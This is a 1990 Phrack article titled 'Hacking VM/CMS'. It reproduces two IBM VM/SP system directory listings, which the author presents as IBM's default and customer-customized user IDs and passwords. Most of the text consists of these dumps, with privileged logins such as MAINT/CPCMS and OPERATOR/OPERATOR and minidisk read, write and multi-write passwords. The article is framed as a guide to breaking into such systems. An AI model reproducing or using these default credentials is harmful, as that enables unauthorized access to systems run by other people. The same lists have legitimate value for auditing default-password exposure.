==Phrack Inc.==
Volume Three, Issue 30, File #4 of 12
/===================================\
| |
| Hacking VM/CMS |
| |
| |
| by Goe |
| |
\===================================/
This file written by Goe (my nickname). Any comments or criticisms or
corrections are welcomed. Anyone with a good knowledge can modify this.
The article's topic is the IBM VM/SP running CMS and using DIRMAINT. I do not
know if it works in MVS/TSO or VSE.
The first table contains the original default IDs & passwords from IBM Corp.
The second table contains those default IDs & passwords that IBM customized for
its customer.
===============================================================================
***************************************************************
* 3380 SYSTEM DIRECTORY *
***************************************************************
* *
* The addresses 123, 124, and 125 are virtual ad- *
* dresses. The address 123 is critical since it is *
* used in DMKSYS, the directory, and the service en- *
* vironments of the Interactive Productivity Facil- *
* ity. Do not change this address. If you still want *
* to change it, remember it must be changed in *
* DMKSYS, all service environments, the 'DIRECTORY' *
* statement below, and in the 'MDISK' statements *
* found under the userid 'MAINT'. *
* *
* NOTE: Remember these are only virtual addresses *
* not real addresses, so there is no need to change *
* them to match your hardware addresses. More in- *
* formation is contained in the system Installation *
* Guide. *
* *
***************************************************************
* DIRECTORY 123 3380 VMSRES *
***************************************************************
* 3380 SYSTEM RESERVED AREAS (NOT FOR MINIDISKS) *
***************************************************************
* USER $ALLOC$ NOLOG MDISK A01 3380 000 001 VMSRES R
MDISK B01 3380 000 001 VMPK01 R MDISK E01 3380 000 001 VMPK04 R
MDISK F11 3380 000 001 PROFPK R
MDISK F21 3380 000 001 SQLPK R
* USER $TEMP$ NOLOG MDISK A09 3380 272 228 VMSRES R
MDISK D09 3380 277 258 VMPK01
* USER $TDISK$ NOLOG MDISK A08 3380 585 091 VMSRES R
* USER $CPNUC$ NOLOG MDISK A02 3380 001 005 VMSRES R
* USER $DIRECT$ NOLOG MDISK A03 3380 500 002 VMSRES R
* USER $SAVSYS$ NOLOG MDISK A04 3380 006 011 VMSRES R
MDISK B04 3380 012 056 VMPK01 R
* USER $SYSERR$ NOLOG MDISK A06 3380 019 002 VMSRES R
* USER $SYSCKP$ NOLOG MDISK A05 3380 271 001 VMSRES R
* USER $SYSWRM$ NOLOG MDISK A07 3380 017 002 VMSRES R *
***************************************************************
* SYSTEM RELATED USERIDS *
***************************************************************
* USER AUTOLOG1 NOLOG 512K 1M ABCDEG
ACCOUNT 2 SYSTEM
IPL CMS PARM AUTOCR
CONSOLE 009 3215
SPOOL 00C 2540 READER
* SPOOL 00D 2540 PUNCH
A SPOOL 00E 1403 A
LINK MAINT 190 190 RR
LINK MAINT 19D 19D RR
LINK MAINT 19E 19E RR
MDISK 191 3380 093 001
VMPK01 MR RAUTOLOG WAUTOLOG MAUTOLOG
* USER CMSBATCH NOLOG 1M 2M G
ACCOUNT 3 SYSTEM
OPTION ACCT
IPL CMS PARM AUTOCR
CONSOLE 009 3215
SPOOL 00C 2540 READER
* SPOOL 00D 2540 PUNCH
A SPOOL 00E 1403 A
LINK MAINT 190 190 RR
MDISK 195 3380 068 002 VMPK01 MR RBATCH
WBATCH MBATCH * USER CMSUSER NOLOG 1M 3M G
ACCOUNT 101 USER01
IPL CMS
CONSOLE 009 3215
SPOOL 00C 2540 READER
* SPOOL 00D 2540 PUNCH
A SPOOL 00E 1403
A LINK MAINT 190 190 RR
LINK MAINT 19D 19D RR
LINK MAINT 19E 19E RR
MDISK 191 3380 089 003 VMPK01 MR RCMS
WCMS
MCMS
* USER EREP NOLOG 768K 2M FG
ACCOUNT EREP IBMCE IPL CMS
CONSOLE 01F 3215 SPOOL 00C 2540 READER
* SPOOL 00D 2540 PUNCH A SPOOL 00E 1403 A
LINK MAINT 190 190 RR LINK MAINT 19D 19D RR
LINK MAINT 19E 19E RR LINK MAINT 201 192 RR
MDISK 191 3380 027 001 VMSRES WR READ WRITE
* USER GCS NOLOG 5M 6M G ACCOUNT GCS RECVM OPTION ECMODE DIAG98 IPL GCS
PARM AUTOLOG CONSOLE 009 3215 SPOOL 00C 2540 READER * SPOOL 00D 2540 PUNCH
A SPOOL 00E 1403 A LINK MAINT 190 190 RR LINK MAINT 19D 19D RR LINK MAINT
595 595 RR LINK MAINT 59E 59E RR MDISK 191 3380 677 005 VMPK01 MR RGCS
WGCS MGCS * USER IVPM1 NOLOG 3M 16M G ACCOUNT ACT4 IVPM1 CONSOLE 009
3210 SPOOL 00C 2540 READER * SPOOL 00D 2540 PUNCH A SPOOL 00E 1403 A LINK
MAINT 190 190 RR LINK MAINT 193 193 RR LINK MAINT 194 194 RR LINK MAINT 19D
19D RR MDISK 191 3380 883 001 VMSRES WR READ WRITE * USER IVPM2 NOLOG
3M 4M G ACCOUNT ACT5 IVPM2 CONSOLE 009 3210 SPOOL 00C 2540 READER * SPOOL
00D 2540 PUNCH A SPOOL 00E 1403 A LINK MAINT 190 190 RR LINK MAINT 193 193
RR LINK MAINT 194 194 RR LINK MAINT 19D 19D RR MDISK 191 3380 884 001 VMSRES
WR READ WRITE * USER MAINT CPCMS 16M 16M ABCDEFG ACCOUNT 1 SYSPROG OPTION
ECMODE DIAG98 IPL 190 CONSOLE 009 3215 SPOOL 00C 2540 READER * SPOOL 00D
2540 PUNCH A SPOOL 00E 1403 A MDISK 123 3380 000 885 VMSRES MW RSYSRES
WSYSRES MSYSRES MDISK 124 3380 000 885 VMPK01 MW RSYSRES WSYSRES MSYSRES
MDISK 127 3380 000 885 VMPK04 MW RSYSRES WSYSRES MSYSRES MDISK 129 3380 000
885 PROFPK MW RSYSRES WSYSRES MSYSRES MDISK 130 3380 000 885 SQLPK MW
RSYSRES WSYSRES MSYSRES MDISK 19D 3380 229 048 VMPK01 MW ALL WMAINT
MMAINT MDISK 190 3380 502 037 VMSRES MW ALL WMAINT MMAINT MDISK 191
3380 144 010 VMSRES MW RMAINT WMAINT MMAINT MDISK 193 3380 117 027 VMSRES
MW RMAINT WMAINT MMAINT MDISK 194 3380 044 027 VMSRES MW RMAINT WMAINT
MMAINT MDISK 196 3380 028 016 VMSRES MW RMAINT WMAINT MMAINT MDISK 201
3380 767 023 VMSRES MW RMAINT WMAINT MMAINT MDISK 293 3380 790 027 VMSRES
MW RCMSAUX WCMSAUX MCMSAUX MDISK 294 3380 862 021 VMSRES MW RCPAUX
WCPAUX MCPAUX MDISK 295 3380 211 014 VMSRES MW RUSRMOD WUSRMOD MUSRMOD
MDISK 296 3380 070 019 VMPK01 MW RCPAUX WCPAUX MCPAUX MDISK 319 3380 021
006 VMSRES MW ALL WMAINT MMAINT MDISK 393 3380 353 063 VMPK04 WR
RMAINT WMAINT MDISK 394 3380 416 076 VMPK04 WR RMAINT WMAINT MDISK 396
3380 499 034 VMPK04 WR RMAINT WMAINT MDISK 492 3380 664 011 VMPK01 MW
RTSFOBJ WTSFOBJ MTSFOBJ MDISK 494 3380 864 011 VMPK01 MW RTSFAUX WTSFAUX
MTSFAUX MDISK 496 3380 092 001 VMPK01 MW RIPCX WIPCSX MIPSX MDISK 497
3380 492 007 VMPK04 MW RMAINT WMAINT MDISK 59E 3380 875 010 VMPK01 MW
ALL WMAINT MMAINT MDISK 595 3380 682 031 VMPK01 MW RMAINT WMAINT
MMAINT MDISK 596 3380 713 021 VMPK01 MW RGCSAUX WGCSAUX MGCSAUX * USER
OLTSEP NOLOG 1M 1M FG ACCOUNT OLTSEP IBMCE OPTION REALTIMER ECMODE IPL 5FF
CONSOLE 01F 3215 SPOOL 00C 2540 READER * SPOOL 00D 2540 PUNCH A SPOOL 00E
1403 A LINK MAINT 19D 19D RR MDISK 5FF 3380 000 885 CEPACK MR READ WRITE
* USER OPERATNS NOLOG 1M 2M BCEG ACCOUNT 13 SYSPROG IPL CMS CONSOLE 009
3215 SPOOL 00C 2540 READER * SPOOL 00D 2540 PUNCH A SPOOL 00E 1403 A LINK
MAINT 190 190 RR LINK MAINT 19D 19D RR LINK MAINT 19E 19E RR MDISK 191 3380
154 001 VMSRES MR RIPCS WIPCS MIPCS MDISK 193 3380 201 008 VMSRES MR
RIPCS WIPCS MIPCS * USER OPERATOR OPERATOR 3M 16M ABCDEFG ACCOUNT 2
OPERATOR CONSOLE 009 3215 T MAINT SPOOL 00C 2540 READER * SPOOL 00D 2540
PUNCH A SPOOL 00E 1403 A LINK MAINT 190 190 RR LINK MAINT 19D 19D RR LINK
MAINT 19E 19E RR MDISK 191 3380 209 002 VMSRES MR ROPER WOPER MOPER *
USER SYSDUMP1 NOLOG 1M 1M BG ACCOUNT 16 SYSTEM IPL CMS CONSOLE 009 3215
SPOOL 00C 2540 READER * SPOOL 00D 2540 PUNCH A SPOOL 00E 1403 A LINK MAINT
190 190 RR LINK MAINT 19D 19D RR LINK MAINT 19E 19E RR MDISK 123 3380 000
885 VMSRES RR MDISK 124 3380 000 885 VMPK01 RR MDISK 127 3380 000 885 VMPK04
RR MDISK 129 3380 000 885 PROFPK RR MDISK 130 3380 000 885 SQLPK RR * USER
TSAFVM NOLOG 4M 8M G ACCOUNT 1 xxxxxx OPTION MAXCONN 256 BMX ECMODE COMSRV
ACCT CONCEAL REALTIMER IUCV ALLOW IUCV *CRM IPL CMS PARM AUTOCR CONSOLE 009
3215 A OPERATOR SPOOL 00C 2540 READER * SPOOL 00D 2540 PUNCH A SPOOL 00E
1403 A LINK MAINT 190 190 RR LINK MAINT 19D 19D RR LINK MAINT 19E 19E RR
LINK MAINT 492 192 RR LINK MAINT 494 494 RR MDISK 191 3380 675 002 VMPK01 MR
DEDICATE 300 4A0 *
===============================================================================
***************************************************************
* 3380 SYSTEM DIRECTORY *
***************************************************************
* *
* The virtual address 123 is critical since it is *
* used in DMKSYS, the directory, and the service en- *
* vironments of the Interactive Productivity Facil- *
* ity. Do not change this address. If you still want *
* to change it, remember it must be changed in *
* DMKSYS, all service environments, the 'DIRECTORY' *
* statement below, and in the 'MDISK' statements *
* found under the userid 'MAINT'. *
* *
* NOTE: Remember these are only virtual addresses *
* not real addresses, so there is no need to change *
* them to match your hardware addresses. More in- *
* formation is contained in the system Installation *
* Guide. *
* *
***************************************************************
* DIRECTORY 123 3380 VMSRES *
***************************************************************
* EXPRESS STANDARD PROFILE FOR GENERAL PURPOSE USERIDS *
***************************************************************
* PROFILE EXPPROF IPL CMS PARM AUTOCR CONSOLE 009 3215 SPOOL 00C 2540 READER
* SPOOL 00D 2540 PUNCH A SPOOL 00E 1403 A LINK MAINT 190 190 RR LINK MAINT
19D 19D RR LINK MAINT 19E 19E RR *
***************************************************************
* 3380 SYSTEM RESERVED AREAS (NOT FOR MINIDISKS) *
***************************************************************
* USER $ALLOC$ NOLOG MDISK A01 3380 000 001 VMSRES
R 03131808 MDISK A02 3380 000 001 VMGCS1
R 03131808 MDISK A05 3380 000 001 VMPK01
R 03131808 MDISK A06 3380 000 001 VMSTGE
R 03131808 MDISK A07 3380 000 001 PROFPK
R 03131808 MDISK A08 3380 000 001 SQLPK
R 03131808 MDISK A09 3380 000 001 VMPK02
R 03131808 MDISK A0A 3380 000 001 EDMD01
R 03131808 * USER $TEMP$ NOLOG MDISK
B01 3380 392 100 VMSRES R 03131808 MDISK
B02 3380 392 100 VMPK01 R 03131808 * USER
$TDISK$ NOLOG MDISK C01 3380 358 033 VMSRES
R 03131808 MDISK C02 3380 492 022 VMPK01
R 03131808 * USER $CPNUC$ NOLOG MDISK
D01 3380 001 005 VMSRES R 03131808 * USER
$DIRECT$ NOLOG MDISK E01 3380 492 002 VMSRES
R 03131808 * USER $SAVSYS$ NOLOG MDISK
F01 3380 006 011 VMSRES R 03131808 MDISK
F02 3380 012 060 VMPK01 R 03131808 * USER
$SYSERR$ NOLOG MDISK F03 3380 019 002 VMSRES
R 03131808 * USER $SYSCKP$ NOLOG MDISK
F04 3380 391 001 VMSRES R 03131808 * USER
$SYSWRM$ NOLOG MDISK F05 3380 017 002 VMSRES
R 03131808 *
***************************************************************
* SYSTEM RELATED USERIDS *
***************************************************************
* USER AUTOLOG1 AUTOLOG1 512K 1M ABCDEG INCLUDE EXPPROF ACCOUNT 2 SYSTEM
MDISK 191 3380 094 001 VMPK01 MR RAUTOLOG WAUTOLOG MAUTOLOG 03131808
* USER CMSBATCH CMSBATCH 1M 2M G ACCOUNT 3 SYSTEM OPTION ACCT IPL CMS PARM
AUTOCR CONSOLE 009 3215 SPOOL 00C 2540 READER * SPOOL 00D 2540 PUNCH A
SPOOL 00E 1403 A LINK MAINT 190 190 RR MDISK 195 3380 095 002 VMPK01 MR
RBATCH WBATCH MBATCH 03131808 * USER CMSUSER CMSUSER 1M 3M G
INCLUDE EXPPROF ACCOUNT 101 USER01 MDISK 191 3380 091 003 VMPK01 MR RCMS
WCMS MCMS 03131808 * USER EREP EREP 768K 2M FG INCLUDE
EXPPROF ACCOUNT EREP IBMCE LINK MAINT 201 192 RR MDISK 191 3380 021 001
VMSRES WR READ WRITE 03131808 * USER GCS GCS 5M 6M
G ACCOUNT GCS RECVM OPTION ECMODE DIAG98 IPL GCS PARM AUTOLOG CONSOLE 009
3215 SPOOL 00C 2540 READER * SPOOL 00D 2540 PUNCH A SPOOL 00E 1403 A LINK
MAINT 190 190 RR LINK MAINT 19D 19D RR LINK MAINT 595 595 RR LINK MAINT 59E
59E RR MDISK 191 3380 514 005 VMPK01 MR RGCS WGCS MGCS
03131808 * USER IVPM1 IVPM1 3M 16M G ACCOUNT ACT4 IVPM1 CONSOLE 009 3210
SPOOL 00C 2540 READER * SPOOL 00D 2540 PUNCH A SPOOL 00E 1403 A LINK MAINT
190 190 RR LINK MAINT 193 193 RR LINK MAINT 194 194 RR LINK MAINT 19D 19D
RR MDISK 191 3380 868 001 VMSRES WR READ WRITE
03131808 * USER IVPM2 IVPM2 3M 4M G ACCOUNT ACT5 IVPM2 CONSOLE 009 3210
SPOOL 00C 2540 READER * SPOOL 00D 2540 PUNCH A SPOOL 00E 1403 A LINK MAINT
190 190 RR LINK MAINT 193 193 RR LINK MAINT 194 194 RR LINK MAINT 19D 19D
RR MDISK 191 3380 869 001 VMSRES WR READ WRITE
03131808 * USER MAINT CPCMS 6M 16M ABCDEFG ACCOUNT 1 SYSPROG OPTION ECMODE
DIAG98 IPL CMS IUCV *CCS P M 10 IUCV ANY P M 0 CONSOLE 009 3215 SPOOL 00C
2540 READER * SPOOL 00D 2540 PUNCH A SPOOL 00E 1403 A * MDISK 123 3380 000
885 VMSRES MW RSYSRES WSYSRES MSYSRES 03131808 MDISK 124 3380 000
885 VMPK01 MW RSYSRES WSYSRES MSYSRES 03131808 MDISK 126 3380 000
885 VMSTGE MW RSYSRES WSYSRES MSYSRES 03131808 MDISK 127 3380 000
885 VMGCS1 MW RSYSRES WSYSRES MSYSRES 03131808 MDISK 129 3380 000
885 PROFPK MW RSYSRES WSYSRES MSYSRES 03131808 MDISK 130 3380 000
885 SQLPK MW RSYSRES WSYSRES MSYSRES 03131808 MDISK 131 3380 000
885 VMPK02 MW RSYSRES WSYSRES MSYSRES 03131808 * * 19D - Help
files * 39D - Help files for NLS * 19E - CMS extension disk. Most program
products go here * 190 - CMS nucleus and commands * 191 - MAINT work disk and
system dependent files * 193 - CMS text / IPCS text / GCS interface texts * 194
- CP text files and Maclibs * 196 - HPO text files and Maclibs * 201 - EREP
files * 293 - Aux and update files for CMS service * 294 - Aux and update files
for CP service * 295 - CP/CMS EXPRESS/local service * 296 - HPO aux and update
files for service * 3A0 - IPF online documentation * 300 - VM/IPF system
support, administration and operation dialogs * 301 - IPF VM/VSE feature files
* 31A - Customer procedures and products not from VM/EXPRESS * 310 - Maclibs
for VM/IPF * 319 - Some optional Program Products * 393 - CMS source * 394 - CP
SOURCE * 396 - HPO source * 492 - TSAF * 494 - TSAF * 496 - IPCS service files
* 497 - IPCS source files * 59E - GCS System disk extension * 595 - GCS object
code * 596 - GCS service files * MDISK 19D 3380 308 025 VMSRES MW ALL
WMAINT MMAINT 03131808 MDISK 39D 3380 333 025 VMSRES MW ALL
WMAINT MMAINT 03131808 MDISK 19E 3380 245 147 VMPK01 MR RMAINT
WMAINT MMAINT 03131808 MDISK 190 3380 494 037 VMSRES MW ALL
WMAINT MMAINT 03131808 MDISK 191 3380 088 010 VMSRES MW RMAINT
WMAINT MMAINT 03131808 MDISK 193 3380 061 027 VMSRES MW RMAINT
WMAINT MMAINT 03131808 MDISK 194 3380 022 027 VMSRES MW RMAINT
WMAINT MMAINT 03131808 MDISK 196 3380 684 016 VMSRES MW RMAINT
WMAINT MMAINT 03131808 MDISK 201 3380 567 023 VMSRES MW RMAINT
WMAINT MMAINT 03131808 MDISK 293 3380 590 027 VMSRES MW RCMSAUX
WCMSAUX MCMSAUX 03131808 MDISK 294 3380 663 021 VMSRES MW RCPAUX
WCPAUX MCPAUX 03131808 MDISK 295 3380 531 014 VMSRES MW RUSRMOD
WUSRMOD MUSRMOD 03131808 MDISK 296 3380 072 019 VMPK01 MW RCPAUX
WCPAUX MCPAUX 03131808 MDISK 3A0 3380 128 001 VMPK01 MR ALL
WMAINT MMAINT 03131808 MDISK 300 3380 097 015 VMPK01 MR ALL
WMAINT MMAINT 03131808 *MDISK 301 3380 001 049 EDMD01 MW ALL
WMAINT MMAINT 03131808 MDISK 31A 3380 870 003 VMSRES MW ALL
WMAINT MMAINT 03131808 MDISK 310 3380 112 016 VMPK01 MR ALL
WMAINT MMAINT 03131808 MDISK 319 3380 617 015 VMSRES MW ALL
WMAINT MMAINT 03131808 MDISK 393 3380 001 063 VMSTGE WR RMAINT
WMAINT 03131808 MDISK 394 3380 064 076 VMSTGE WR RMAINT
WMAINT 03131808 MDISK 396 3380 147 034 VMSTGE WR RMAINT
WMAINT 03131808 MDISK 492 3380 195 011 VMPK01 MW RTSFOBJ
WTSFOBJ MTSFOBJ 03131808 MDISK 494 3380 721 011 VMSRES MW RTSFAUX
WTSFAUX MTSFAUX 03131808 MDISK 496 3380 782 001 VMPK01 MW RIPCX
WIPCSX MIPSX 03131808 MDISK 497 3380 140 007 VMSTGE MW RMAINT
WMAINT 03131808 MDISK 59E 3380 181 010 VMPK01 MW ALL
WMAINT MMAINT 03131808 MDISK 595 3380 214 031 VMPK01 MW RMAINT
WMAINT MMAINT 03131808 MDISK 596 3380 700 021 VMSRES MW RGCSAUX
WGCSAUX MGCSAUX 03131808 * * 29E - 5748-RC1 (PVM) - 5748-XP1 (RSCS
V1) - Update files * 36E - 5748-RC1 PVM 191 disk * 39E - 5748-RC1 (PVM) -
5748-XP1 (RSCS V1) - Source files * 49E - 5748-RC1 (PVM) - 5748-XP1 (RSCS V1) -
Text files * MDISK 29E 3380 785 007 VMPK01 MR RMAINT WMAINT
MMAINT 03131808 MDISK 36E 3380 563 004 VMSRES RR RMAINT WMAINT
MMAINT 03131808 MDISK 39E 3380 181 045 VMSTGE WR RMAINT
WMAINT 03131808 MDISK 49E 3380 792 007 VMPK01 MR RMAINT
WMAINT MMAINT 03131808 * * 348 - EP - ACF/NCP - NETVIEW -
ACF/VTAM - ACF/SSP (VMFPARM DISK) * MDISK 348 3380 001 002 VMGCS1 MR RMAINT
WMAINT MMAINT 03131808 * * 298 - 5664-280 VTAM 191 * 299 -
5664-280 VTAM Base disk * 29A - 5664-280 VTAM Run disk * 29B - 5664-280 VTAM
Merge disk * 29C - 5664-280 VTAM Zap disk * 29D - 5664-280 VTAM Delta disk *
MDISK 298 3380 005 009 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 299 3380 200 024 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 29A 3380 156 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 29B 3380 224 020 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 29C 3380 244 005 VMGCS1 WR RMAINT WMAINT MMAINT 03131808
MDISK 29D 3380 860 020 VMGCS1 MR RMAINT WMAINT MMAINT 03131808
* * 33F - 5664-289 ACF/SSP Base disk * 340 - 5664-289 ACF/SSP Delta disk * 341
- 5664-289 ACF/SSP Merge disk * 342 - 5664-289 ACF/SSP Zap disk * 343 -
5664-289 ACF/SSP Run disk * MDISK 33F 3380 687 048 VMGCS1 MR RMAINT WMAINT
MMAINT 03131808 MDISK 340 3380 830 010 VMGCS1 MR RMAINT WMAINT
MMAINT 03131808 MDISK 341 3380 840 020 VMGCS1 MR RMAINT WMAINT
MMAINT 03131808 MDISK 342 3380 249 010 VMGCS1 WR RMAINT WMAINT
MMAINT 03131808 MDISK 343 3380 110 046 VMGCS1 MR RMAINT WMAINT
MMAINT 03131808 * * 352 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Base
disk * 353 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Delta disk * 354 - 5735-XXB
(EP) - 5668-854 (ACF/NCP) Merge disk * 355 - 5735-XXB (EP) - 5668-854 (ACF/NCP)
Run disk * 356 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Zap disk * MDISK 352 3380
259 066 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 353 3380
325 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 354 3380
335 020 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 355 3380
355 088 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 356 3380
443 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 * * 349 -
5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) VMFPARM DISK * 357 -
5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Base disk * 358 - 5735-XXB
(EP) - 5668-754 (ACF/NCP subset for 3720) Delta disk * 359 - 5735-XXB (EP) -
5668-754 (ACF/NCP subset for 3720) Merge disk * 35A - 5735-XXB (EP) - 5668-754
(ACF/NCP subset for 3720) Zap disk * 35B - 5735-XXB (EP) - 5668-754 (ACF/NCP
subset for 3720) Run disk * MDISK 349 3380 003 002 VMGCS1 MR RMAINT WMAINT
MMAINT 03131808 MDISK 357 3380 453 066 VMGCS1 WR RMAINT WMAINT
MMAINT 03131808 MDISK 358 3380 519 010 VMGCS1 WR RMAINT WMAINT
MMAINT 03131808 MDISK 359 3380 529 020 VMGCS1 WR RMAINT WMAINT
MMAINT 03131808 MDISK 35A 3380 637 010 VMGCS1 WR RMAINT WMAINT
MMAINT 03131808 MDISK 35B 3380 549 088 VMGCS1 WR RMAINT WMAINT
MMAINT 03131808 * * 330 - 5664-204 NETVIEW Base disk * 331 -
5664-204 NETVIEW Delta disk * 332 - 5664-204 NETVIEW Merge disk * 333 -
5664-204 NETVIEW Zap disk * 334 - 5664-204 NETVIEW Run disk * MDISK 330 3380
735 095 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 331 3380
647 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 332 3380
657 020 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 333 3380
677 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 334 3380
014 096 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 * * 29F -
5664-188 RSCSV2 Update files * 39F - 5664-188 RSCSV2 User exits disk * 49F -
5664-188 RSCSV2 Text disk * 59F - 5664-188 RSCSV2 191 disk * MDISK 29F 3380
129 004 VMPK01 MR RMAINT WMAINT MMAINT 03131808 MDISK 39F 3380
799 004 VMPK01 MR RMAINT WMAINT MMAINT 03131808 MDISK 49F 3380
803 010 VMPK01 MR RMAINT WMAINT MMAINT 03131808 MDISK 59F 3380
208 006 VMPK01 MR RMAINT WMAINT MMAINT 03131808 * * 322 -
5664-283 VM/IS * 326 - 5664-283 VM/IS * 34A - 5668-905 Graphical Display and
Query Facility (GDQF) * 346 - 5668-AAA Query Management Facility (QMF) * 347 -
5668-AAA Query Management Facility (QMF) * 360 - 5664-329 Contextual File
Search (CFSearch/370) * 361 - 5664-370 Display Write/370 * 363 - 5668-890 Font
Library Service Facility (FLSF) * MDISK 322 3380 734 007 VMPK01 MR RMAINT
WMAINT MMAINT 03131808 MDISK 326 3380 166 010 VMPK01 MR RMAINT
WMAINT MMAINT 03131808 MDISK 34A 3380 164 052 VMSRES MR RMAINT
WMAINT MMAINT 03131808 MDISK 346 3380 207 013 SQLPK MR RMAINT
WMAINT MMAINT 03131808 MDISK 347 3380 220 023 SQLPK MR RMAINT
WMAINT MMAINT 03131808 MDISK 360 3380 216 040 VMSRES MR RMAINT
WMAINT MMAINT 03131808 MDISK 361 3380 768 027 VMSRES MR RMAINT
WMAINT MMAINT 03131808 MDISK 363 3380 795 009 VMSRES MR RMAINT
WMAINT MMAINT 03131808 * USER OPERATNS OPERATNS 1M 2M BCEG
INCLUDE EXPPROF ACCOUNT 13 SYSPROG LINK MAINT 300 300 RR LINK MAINT 193 192
RR MDISK 191 3380 547 001 VMSRES MR RIPCS WIPCS MIPCS
03131808 MDISK 193 3380 256 008 VMSRES MR RIPCS WIPCS MIPCS
03131808 * USER OPERATOR OPERATOR 3M 16M ABCDEFG ACCOUNT 2 OPERATOR IPL CMS
PARM AUTOCR CONSOLE 009 3215 T MAINT SPOOL 00C 2540 READER * SPOOL 00D 2540
PUNCH A SPOOL 00E 1403 A LINK MAINT 190 190 RR LINK MAINT 19D 19D RR LINK
MAINT 19E 19E RR LINK MAINT 300 300 RR MDISK 191 3380 545 002 VMSRES MR
ROPER WOPER MOPER 03131808 * USER SYSDUMP1 SYSDUMP1 1M 1M BG
INCLUDE EXPPROF ACCOUNT 16 SYSTEM LINK MAINT 300 300 RR MDISK 123 3380 000
885 VMSRES RR 03131808 MDISK 124 3380 000
885 VMPK01 RR 03131808 MDISK 126 3380 000
885 VMSTGE RR 03131808 MDISK 127 3380 000
885 VMGCS1 RR 03131808 MDISK 129 3380 000
885 PROFPK RR 03131808 MDISK 130 3380 000
885 SQLPK RR 03131808 MDISK 131 3380 000
885 VMPK02 RR 03131808 MDISK 191 3380 133
001 VMPK01 MR RSYSDUMP WSYSDUMP MSYSDUMP 03131808 * USER TSAFVM
TSAFVM 4M 8M G ACCOUNT 1 XXXXXX OPTION MAXCONN 256 BMX ECMODE COMSRV ACCT
CONCEAL REALTIMER IUCV ALLOW IUCV *CRM IPL CMS PARM AUTOCR CONSOLE 009 3215
A OPERATOR SPOOL 00C 2540 READER * SPOOL 00D 2540 PUNCH A SPOOL 00E 1403 A
LINK MAINT 190 190 RR LINK MAINT 19D 19D RR LINK MAINT 19E 19E RR LINK MAINT
492 192 RR LINK MAINT 494 494 RR *DEDICATE 300 4A0 MDISK 191 3380 206 002
VMPK01 MR 03131808 * USER VSEMAINT
VSEMAINT 1M 4M BG INCLUDE EXPPROF ACCOUNT 211 DOSSYS LINK MAINT 300 300 RR
*LINK MAINT 301 301 RR MDISK 191 3380 632 004 VMSRES MR RVSEMAIN WVSEMAIN
MVSEMAIN 03131808 * USER VSEIPO VSEIPO 16M 16M G * * SAMPLE USERID
TO RUN VSE/EXPRESS/IPO * ACCOUNT 203 VSEIPO IPL 224 *OPTION ECMODE BMX
REALTIMER VIRT=REAL MAXCONN 050 STF 370E OPTION ECMODE BMX REALTIMER MAXCONN
050 IUCV *CCS PRIORITY MSGLIMIT 050 CONSOLE 01F 3270 SPECIAL 401 3270
SPECIAL 402 3270 SPECIAL 403 3270 SPECIAL 404 3270 SPECIAL 405 3270 SPECIAL
406 3270 SPECIAL 407 3270 SPECIAL 408 3270 SPECIAL 409 3270 SPECIAL 40A
3270 SPECIAL 40B 3270 SPECIAL 40C 3270 SPECIAL 40D 3270 SPECIAL 40E 3270
SPECIAL 40F 3270 SPECIAL 410 3270 SPECIAL 411 3270 SPECIAL 412 3270 SPECIAL
413 3270 SPECIAL 414 3270 SPECIAL 415 3270 SPECIAL 416 3270 SPECIAL 417
3270 SPECIAL 418 3270 SPECIAL 419 3270 SPECIAL 41A 3270 SPECIAL 41B 3270
SPECIAL 41C 3270 SPECIAL 41D 3270 SPECIAL 41E 3270 SPECIAL 41F 3270 SPOOL
00C 3505 A SPOOL 00D 3525 A SPOOL 00E 3203 A SPOOL 05D 3525 A SPOOL 05E
1403 A DEDICATE 300 400 DEDICATE 080 080 LINK MAINT 190 190 RR LINK
MAINT 19E 19E RR LINK VSEMAINT 191 191 RR * 3380 SYSTEM *MDISK 150 3380 000
885 DOSRES MR VSEIPO VSEIPO *MDISK 151 3380 000 885 SYSWK1 MR VSEIPO VSEIPO
*MDISK 152 3380 000 885 SYSWK2 MR VSEIPO VSEIPO * 3375 SYSTEM *MDISK 140 3375
000 959 DOSRES MR VSEIPO VSEIPO *MDISK 141 3375 000 959 SYSWK1 MR VSEIPO
VSEIPO *MDISK 142 3375 000 959 SYSWK2 MR VSEIPO VSEIPO * FB-512 SYSTEM *MDISK
240 FB-512 00000 558000 DOSRES MR VSEIPO VSEIPO *MDISK 241 FB-512 00000 558000
SYSWK1 MR VSEIPO VSEIPO *MDISK 242 FB-512 00000 558000 SYSWK2 MR VSEIPO VSEIPO
* 3350 SYSTEM MDISK 220 3350 000 555 SYSWKB MR VSE220 VSE0WO MDISK 222 3350
000 555 SYSWK2 MR VSE222 VSE2WO MDISK 223 3350 000 555 SYSWK4 MR VSE223
VSE3WO MDISK 224 3350 000 555 DOSRES MR VSE224 VSE4WO MDISK 225 3350 000 555
SYSWK1 MR VSE225 VSE5WO * 3380 SYSTEM MDISK 200 3380 000 885 SYSWKA MR
VSE219 VSEAWO * USER ROUTER ROUTER 512K 2M G 64 ON ON ON ON INCLUDE EXPPROF
ACCOUNT 46 ROUTER MDISK 191 3380 636 003 VMSRES MR RROUTER WROUTER
MROUTER 03131808 * USER AP2SVP AP2SVP 512K 8M EG 64 ON ON ON ON * *
5668899 APL2 SERVICE MACHINE * INCLUDE EXPPROF ACCOUNT 9999 APL2-SVP MDISK
191 3380 731 003 VMPK01 MR RAP2SVP WAP2SVP MAP2SVP 03131808 * USER
